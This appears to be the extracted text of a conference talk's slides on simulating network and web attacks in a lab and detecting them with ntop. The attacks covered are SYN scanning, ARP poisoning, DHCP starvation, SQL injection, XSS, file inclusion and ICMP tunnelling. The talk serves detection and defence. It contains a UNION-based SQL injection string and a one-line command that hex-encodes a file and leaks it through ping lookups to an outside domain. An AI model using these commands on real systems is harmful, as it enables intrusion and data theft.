ntop: attack simulation, detection and response
# whoami

Massimo Giaimo (aka fastfire)

- Cyber Security Team Leader in Würth Phoenix
- Creator of the SATAYO Threat Intelligence platform
- Owner of the deepdarkCTI repository on GitHub
- Twitter | @fastfire
- Linkedin | massimo-giaimo-b78ba0a
- Email | massimo[.]giaimo@wuerth-phoenix[.]com
Set ntop detection capability
Set ntop detection capability

WEB Interface: Settings → Checks
ATK #1

SYN Flood

is a denial of service attack in which a malicious user sends a series of SYN-TCP requests to the attacked system.
nmap --top-ports 1000 --open 192.168.2.11
Starting Nmap 7.80 ( https://nmap.org ) at 2022-06-22 17:09 CEST
Nmap scan report for _gateway (192.168.2.11)
Host is up (0.00032s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE
80/tcp   open  http
3000/tcp open  ppp

Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds
Detection

23:12:55  50  00:17  TCP SYN Scan  192.168.2.11  192.168.2.11 is under a SYN scan [49770 > 256 SYN received]

Syn Flood
Detection

Syn Flood
ATK #2
ARP Poisoning

it consists in intentionally and forcibly sending ARP responses containing data that do not correspond to the real ones. This way a host's ARP table will contain corrupted data. This state can allow an attacker to reach a Man In The Middle position.
Attack
ARP Poisoning
Attack

ARP Poisoning

CONTENT: username=admin&password=password&Login=Login&user_token=5e0a8bcaaf3b443388f874e3793242b9
ARP poisoner deactivated...
WE ARPing the victims...
Detection

ARP Poisoning
ATK #3

DHCP Starvation + DHCP Rogue

during a DHCP attack, a hostile actor floods a DHCP server with bogus DISCOVER packets until the DHCP server exhausts its supply of IP addresses. Once that happens, the attacker can deny legitimate network users service, or even supply an alternate DHCP connection that leads to a Man-in-the-Middle (MITM) attack.
Attack

DHCP Starvation
Attack

DHCP Rogue
Detection

DHCP Starvation

© Würth Phoenix
massimo.giaimo@wuerth-phoenix.com
Detection

DHCP Starvation
ATK #4

SQL Injection

is a code injection technique, used to attack applications that manage data through relational databases using the SQL language. Failure to check user input allows you to artificially insert strings of SQL code that will be executed by the application.
SQL Injection
SQL Injection

ID: ID: a' UNION SELECT "text1","text2"; -- &Submit=Submit
First name: text1
Surname: text2

Click here to change your ID.
Detection

SQL Injection
Detection

SQL Injection
ATK #5
Cross Site Scripting (XSS)

is a vulnerability affecting dynamic websites that employ insufficient input checking in forms. An XSS allows an attacker to insert or execute client-side code in order to carry out a varied set of attacks such as, for example, the collection, manipulation and redirection of confidential information.
Attack

Cross Site Scripting (XSS)
Attack

Cross Site Scripting (XSS)
Detection

Cross Site Scripting (XSS)
ATK #6

File Inclusion

is a type of web vulnerability that is most commonly found to affect web applications that rely on a scripting run time. This issue is caused when an application builds a path to executable code using an attacker-controlled variable in a way that allows the attacker to control which file is executed at run time.
Attack

File Inclusion
Attack
## Detection

### Alert

- **HTTP Suspicious URL**

### Flow Peers [Client / Server]

- 192.168.2.8:59792
- 192.168.2.11:80

### Protocol / Application

- **TCP HTTP**

### Date/Time

- 22:36:07

### Score

- 110

### Description

- **HTTP Numeric IP Host**

### Error Code

- 200

### Traffic Info

- **Client to Server Traffic**: 1.54 KB
- **Main Direction**: Server → Client
- **Server to Client Traffic**: 5.63 KB

### Flow Related Info

- 1

### Flow Related Info Method

- **GET**

### Return Code

- **OK**

### URL

- `192.168.2.11/DVWA-master/`

### User Agent

- Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

### Server Name

- 192.168.2.11
ATK #7

ICMP Tunnelling

is a command-and-control (C2) attack technique that secretly passes malicious traffic through perimeter defenses. Malicious data passing through the tunnel is hidden within normal-looking ICMP echo requests and echo responses.
Attack

ON VICTIM MACHINE:
xxd -p -c 16 exfiltration.txt | while read h; do ping -c 1 ${h}.sec4u.co; done
Attack

ON ATTACKER MACHINE:

```
sudo python3 icmp_exfiltration.py
```

→ you can find icmp_exfiltration.py script here

https://gist.github.com/maxrodrigo/a7a8c4bd7dfe64eb305b4c70dee70233#file-icmp_exfiltration-py
Attack

Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022! Thanks to everyone for participating in the talk, I hope it was of interest to you! This is an exfiltration test for NTOP Conference 2022!
Detection

ICMP Tunnelling
### Detection

<table>
<thead>
<tr>
<th>Alert</th>
<th>Data Exfiltration</th>
</tr>
</thead>
<tbody>
<tr>
<td>Flow Peers [Client / Server]</td>
<td>sec4u001 [192.168.2.9]</td>
</tr>
<tr>
<td>Protocol / Application</td>
<td>ICMP:ICMP</td>
</tr>
<tr>
<td>Date/Time</td>
<td>18/06/2022 23:59:17</td>
</tr>
<tr>
<td>Score</td>
<td>100</td>
</tr>
</tbody>
</table>

**Traffic Info**
- **Client to Server Traffic**: 3.6 MB
- **Main Direction**: Server → Client
- **Server to Client Traffic**: 6.18 MB

**Flow Related Info**
- **ICMP Code**: 0
- **ICMP Type**: Echo reply (0)

**ICMP Tunnelling**
ntop as source of Elastic SIEM

WEB Interface: Shortcurs → Notifications
detection rules on ntop alerts
Thank you
Grazie  Danke